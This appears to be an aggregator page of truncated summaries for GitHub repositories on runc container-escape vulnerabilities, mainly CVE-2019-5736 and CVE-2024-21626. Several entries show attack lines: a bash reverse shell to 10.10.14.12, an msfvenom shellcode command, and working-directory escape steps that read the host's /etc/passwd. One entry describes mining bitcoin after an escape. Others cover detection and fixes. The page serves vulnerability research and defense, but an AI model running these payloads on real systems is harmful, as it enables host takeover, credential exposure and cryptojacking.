CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

CVE-2022-0847-container-escape

CVE-2022-0847 A simple exploit that uses dirtypipe to inject shellcode into runC entrypoint to implement container escapes. Usage Produce base64 encoded shellcode using msf: root@kitploit: $ msfvenom -p linux/x64/exec CMD="" -f base64 Compile and run in the container, the overwritten filename is...

CVE-2024-21626-runcPOC

Vulnerability Reproduction CVE-2024-21626 docker runc Escape Vulnerability 1. Vulnerability Overview Vulnerability Name| docker runc Escape Vulnerability ---|--- CVE ID| CVE-2024-21626 Disclosure Date| 2024-01-31 Characteristic| / Affected Versions| runc @ v1.0.0-rc93, 1.1.11 2. Exploitation &...

CVE-2019-5736-Custom-Runtime

CVE-2019-5736-Custom-Sandbox General CVE-2019-5736 implemented using a shallow, self-written container runtime to understand the exploit. Exploit is based on and almost all copied from the runc-poc by twistlock: https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/maliciousimagePOC Contain...

CVE-2024-21626

CVE-2024-21626 Exploit Working Directory docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm Important is to put -w /proc/self/fd/8\ Access the host filesystem using cat ../../../../../../../../../etc/passwd inside the container Exploit Symlink 1. docker run --name...

cve-2024-21626

CVE-2024-21626 Overview This repository contains code examples for an app vulnerable to CVE-2024-21626 as well as an eBPF gadget to detect exploitation attempts. This repoistory was created as part of this blog post. The gadget program used to detect this vulnerability is for demonstration purpos...

CVE-2024-21626

PoC of CVE-2024-21626 Read my full article for detailed explanation here. Related article While investigating CVE-2024–21626 , I discovered an overlooked vulnerability in older versions of Docker and runC. To learn more about what I found, read the following article: “Exploring Hidden...

Docker-Escape-Miner

Usando un exploit de Docker publicado para obtener acceso root y ejecutar un script de minería de bitcoin Esto usa dos bibliotecas de código abierto: nightminer de @ricmoo para minería de bitcoin en Python RunC-CVE-2019-5736 de @twistlock para el escape de Docker Requisitos del sistema Esto fue...

Learn-about-cve-2025-31133-poc

Learn-about-cve-2025-31133-poc Overview A proof-of-concept demonstration and learning environment for CVE-2025-31133 , a security vulnerability in runc that allows bypassing maskedPaths protection through a race condition. maskedPaths are designed to prevent containers from accessing sensitive ho...

CVE-2024-21626-POC

CVE-2024-21626-POC Usage Instructions For educational/research purposes only. Any behavior not related to education/research is at your own risk. Usage root@kitploit: docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh Start another terminal /bin/bash.copy Note...

CVE-2024-21626

about Steps to reproduce ensure kernal = 5.4,4.19,.. and there is openat2 in /proc/kallsyms. v1.0.0-rc93= runc =1.1.11 root@kitploit: $ grep openat2 /proc/kallsyms ffffffffa64290d0 T pfxauditopenat2how ffffffffa64290e0 T auditopenat2how ffffffffa666de90 t pfxdosysopenat2 ffffffffa666dea0 t...

CVE-2019-5736-PoC-2

Overview The exploit from the following repository adapted to run in a Docker image. https://github.com/feexd/pocs Usage Building the Image root@kitploit: $ git clone https://github.com/k-onishi/CVE-2019-5736-PoC $ cd CVE-2019-5736-PoC $ make $ sudo docker build -t poc . Execution Run the contain...

Docker-breakout-runc

Docker breakout via runc Originally from : https://github.com/Frichetten/CVE-2019-5736-PoC. This repo is simply me messing around with the PoC and attempting to figure the exploit's flow...

CVE-2024-21626

CVE-2024-21626 POC Requirements runc 1.1.0 = 1.1.11 Installation of vulnerable environment Deploy a VM with Ubuntu 20.04 and download Docker by following their guide root@kitploit: https://docs.docker.com/engine/install/ubuntu/ Change the patched 'runc' version in Docker to a vulnerable one...

proxmox-lxc-docker-fix

Proxmox LXC AppArmor Fix for Docker/Containers Workaround for CVE-2025-52881 : Fixes Docker, Podman, and container runtime breakage in Proxmox LXC containers caused by AppArmor incompatibility with runc 1.2.7+/1.3.2+ 🚨 The Problem Recent security updates to runc versions 1.2.7+ and 1.3.2+ and...

cve-2019-5736-reproducer

CVE-2019-5736 reproducer This allows you to confirm RunC-CVE-2019-5736 works on your KVM instance. Workflow overview Build the docker.io related packages vulerable to CVE-2019-5736 in this repo Launch an Ubuntu 18.04 KVM instance on LXD Install the vulnerable .deb packages in the VM Try the...

CVE-2019-5736-Dockerattack-and-security-mechanism

CVE-2019-5736-attack-and-security-mechanism In this project, we found a recent attack through the malicious container and implemented a security mechanism to stop it. Introduction Cyber-attacks have become a critical challenge for both companies and small businesses, largely due to vulnerabilitie...

CVE-2024-21626-POC

CVE-2024-21626-PoC Usage Instructions For educational/research purposes only. Any use unrelated to education/research is at your own risk. Usage root@kitploit: docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh 另起一个terminal /bin/bash.copy Note The specific file...

cve-2019-5737

Linux: docker build -t cve:linux - Dockerfile docker run cve:linux strings /usr/bin/docker-runc | tail -n 2 Windows: Get-Content Dockerfile | docker build -t cve:windows docker run cve:windows findstr /usr/bin/docker-runc | tail -n 2...

cve-2019-5736-poc

Para ejecutar: 1. editar el comando poc en stage2.c 2. construir docker docker build -t cve . 3. ejecutar docker docker run -d cve /bin/bash -c "tail -f /dev/null" 4. hacer copia de seguridad de docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6...